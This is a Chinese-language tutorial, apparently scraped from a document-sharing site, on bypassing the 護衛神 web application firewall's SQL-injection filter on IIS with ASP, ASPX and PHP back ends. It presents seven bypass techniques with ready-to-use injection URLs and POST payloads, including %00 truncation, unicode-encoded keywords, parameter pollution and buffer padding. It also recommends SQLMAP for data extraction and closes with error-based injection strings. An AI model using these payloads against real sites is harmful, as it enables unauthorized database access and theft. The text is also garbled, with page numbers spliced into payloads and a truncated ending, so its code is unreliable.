bypass 護衛(wèi)神sql注入防御多姿勢 作者bypass_W

1、Bypass神SQL注入防御（多姿勢）作者：Bypass原文鏈接：/s? biz=MzA3NzE2MjgwMg=&mid=2448903734&idx=1&sn=93c15da3255fb37ddaba7d2e4910f032&chksm=8b55de6bbc22577d984030af27fa8fba9b0eb9f15a6e65ee11e70b2a8d1a1baf406009e2050b&scene=21#wechat_redirect 收集整理：/test/index.php本文由 干貨0x00 前 言神一直

2、專注服務器安全領域， 其中有一款產(chǎn)品，神入侵防護系統(tǒng) ，提供了一些網(wǎng)站安全防護的功能，在IIS加固模塊中有一個SQL防注入功能。這邊主要分享一下幾種思路，Bypass0x01 環(huán)境搭建神SQL注入防御。 神官網(wǎng)： 軟件版本：神入侵防護系統(tǒng) V3.8.1 最新版本下載地址：/hws.zip測試環(huán)境：IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL10x02 WAF測試神SQL防注入的規(guī)則幾年了基本都沒有什么變化，先來一張攔截測試圖： 2姿勢一：%00截斷%00截斷是上傳漏洞中常用的一個非

3、常經(jīng)典的姿勢，在SQL注入中，也可以用來Bypass。 在WAF層，接收參數(shù)id后，遇到%00截斷，只獲取到 id=1，無法獲取到后面的有害參數(shù)輸入； 在ASPX+MSSQL中，支持%00來代替空白字符，構造的SQL語句得以成功執(zhí)行，獲取數(shù)據(jù)。 32/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns在PHP+Mysql中，可以用 /*%00*/ ，同樣可以進行Bypass。 32/sql.php?id

4、=1/*%00*/union select 1,schema_name,3 from information_schema.schemata姿勢二： GET+POST當同時提交GET、POST請求時，進入POST邏輯，而忽略了GET請求的有害參數(shù)輸入,可輕易Bypass。 在IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL 均適用。 3姿勢三： unicode編碼IIS服務器支持對于unicode的解析，對關鍵詞進行unicode編碼繞過。 32/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,col

5、umn_name from information_schema.columns姿勢四： ASPX+HPP在ASPX中，有一個比較特殊的HPP特性，當GET/POST/COOKIE同時提交的參數(shù)id，服務端接收參數(shù)id的順序GET,POST,COOKIE，中間通過逗號鏈接 。 432/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns POST：aaaUNION、SELECT、兩個關鍵字拆分放在GET/POST的位置，通過ASPX的這個特性連起

6、來，姿勢利用有點局限，分享一下Bypass思路。 32/sql.aspx?id=1 and 1=2 union/*POST：id=*/select 1,column_name,3 from information_schema.columns姿勢五： ASP %特性在IIS+ASP中，當我們輸入un%ion，解析的時候會去掉%號，服務端接收的參數(shù)是union。 32/sql.asp?id=1 and 1=2 un%ion select 1,2,column_name from information_schema.co

7、lumns姿勢六：緩沖區(qū)溢出在PHP+Mysql中，使用POST 大包溢出的思路可成功Bypass。 編寫一個簡單的Python腳本，當A的個數(shù)填充到49099時，可成功Bypass。 532/sql.phpPOST:id=1 and (select 1)=(Select 0xA*49099) union select 1,schema_name,3 from information_schema.SCHEMATA姿勢七：黑繞過護士神SQL防注入，采用的是黑過濾，關鍵字并不全，比如只過濾union select，select from卻放過了，那么這里就存

8、在很多種繞過的形式。 基本上報錯注入、盲注、延遲注入都可以很輕易Bypass，這時候直接利用SQLMAP，指定注入方式來獲取數(shù)據(jù)。 60x03 END總結了幾種IIS下SQL注入 Bypass的思路，在實戰(zhàn)中也很常見。歡迎分享本文，轉載請保留出處。 聽說公眾號贊賞功能升級了，我也來試試。 喜歡這篇文章的人也喜歡 Bypass 360主機衛(wèi)士SQL注入防御（多姿勢）7?id=1 or (select 1 from (select count(),concat(concat(0x5e5e21,version,0x215e5e),floor(rand(0)2)x from information_schema.tables group by x)a)?id=1 and 1=(updatexml(1,concat(0x3a,(select user(),1)?id=1 and extractvalue(1, concat(0x5c, (select VERSION() from informatio